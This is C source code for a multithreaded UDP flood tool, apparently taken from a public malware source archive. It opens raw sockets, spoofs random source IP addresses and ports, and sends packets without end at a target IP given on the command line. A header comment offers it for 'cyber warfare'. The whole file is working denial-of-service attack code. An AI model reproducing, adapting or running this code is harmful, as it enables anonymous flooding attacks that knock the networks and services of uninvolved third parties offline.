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https://github.com/vxunderground/MalwareSourceCode.git
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Folder structure change, added README
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/*
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This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
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*/
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#include <time.h>
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#include <pthread.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <netinet/ip.h>
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#include <netinet/udp.h>
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#define MAX_PACKET_SIZE 4096
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#define PHI 0x9e3779b9
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static uint32_t Q[4096], c = 362436;
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struct thread_data{
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int throttle;
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int thread_id;
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struct sockaddr_in sin;
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};
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void init_rand(uint32_t x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++)
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Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
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}
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uint32_t rand_cmwc(void)
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{
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uint64_t t, a = 18782LL;
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static uint32_t i = 4095;
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uint32_t x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c) {
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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char *myStrCat (char *s, char *a) {
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while (*s != '\0') s++;
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while (*a != '\0') *s++ = *a++;
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*s = '\0';
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return s;
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}
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char *replStr (char *str, size_t count) {
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if (count == 0) return NULL;
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char *ret = malloc (strlen (str) * count + count);
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if (ret == NULL) return NULL;
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*ret = '\0';
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char *tmp = myStrCat (ret, str);
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while (--count > 0) {
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tmp = myStrCat (tmp, str);
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}
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return ret;
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}
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unsigned short csum (unsigned short *buf, int nwords)
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{
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unsigned long sum;
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for (sum = 0; nwords > 0; nwords--)
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sum += *buf++;
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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return (unsigned short)(~sum);
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}
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void setup_ip_header(struct iphdr *iph)
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{
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->tot_len = sizeof(struct iphdr) + 1028;
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iph->id = htonl(54321);
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iph->frag_off = 0;
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iph->ttl = MAXTTL;
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iph->protocol = IPPROTO_UDP;
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iph->check = 0;
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iph->saddr = inet_addr("192.168.3.100");
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}
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void setup_udp_header(struct udphdr *udph)
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{
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udph->source = htons(5678);
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udph->check = 0;
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char *data = (char *)udph + sizeof(struct udphdr);
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data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
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udph->len=htons(1028);
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}
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void *flood(void *par1)
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{
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struct thread_data *td = (struct thread_data *)par1;
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char datagram[MAX_PACKET_SIZE];
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struct iphdr *iph = (struct iphdr *)datagram;
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struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
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struct sockaddr_in sin = td->sin;
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char new_ip[sizeof "255.255.255.255"];
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int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
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if(s < 0){
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fprintf(stderr, "Could not open raw socket.\n");
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exit(-1);
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}
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memset(datagram, 0, MAX_PACKET_SIZE);
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setup_ip_header(iph);
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setup_udp_header(udph);
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udph->dest = htons (rand() % 20480);
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iph->daddr = sin.sin_addr.s_addr;
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iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
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int tmp = 1;
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const int *val = &tmp;
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if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
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exit(-1);
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}
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int throttle = td->throttle;
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uint32_t random_num;
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uint32_t ul_dst;
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init_rand(time(NULL));
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if(throttle == 0){
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while(1){
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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random_num = rand_cmwc();
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ul_dst = (random_num >> 24 & 0xFF) << 24 |
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(random_num >> 16 & 0xFF) << 16 |
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(random_num >> 8 & 0xFF) << 8 |
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(random_num & 0xFF);
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iph->saddr = ul_dst;
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udph->source = htons(random_num & 0xFFFF);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
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}
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} else {
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while(1){
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throttle = td->throttle;
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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random_num = rand_cmwc();
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ul_dst = (random_num >> 24 & 0xFF) << 24 |
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(random_num >> 16 & 0xFF) << 16 |
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(random_num >> 8 & 0xFF) << 8 |
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(random_num & 0xFF);
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iph->saddr = ul_dst;
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udph->source = htons(random_num & 0xFFFF);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
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while(--throttle);
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}
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}
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}
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int main(int argc, char *argv[ ])
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{
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if(argc < 4){
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fprintf(stderr, "Invalid parameters!\n");
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fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
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exit(-1);
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}
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fprintf(stdout, "Setting up Sockets...\n");
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int num_threads = atoi(argv[3]);
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pthread_t thread[num_threads];
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_port = htons (rand() % 20480);
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sin.sin_addr.s_addr = inet_addr(argv[1]);
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struct thread_data td[num_threads];
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int i;
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for(i = 0;i<num_threads;i++){
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td[i].thread_id = i;
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td[i].sin = sin;
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td[i].throttle = atoi(argv[2]);
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pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
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}
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fprintf(stdout, "Starting Flood...\n");
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if(argc > 5)
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{
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sleep(atoi(argv[4]));
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} else {
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while(1){
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sleep(1);
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}
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}
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return 0;
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}
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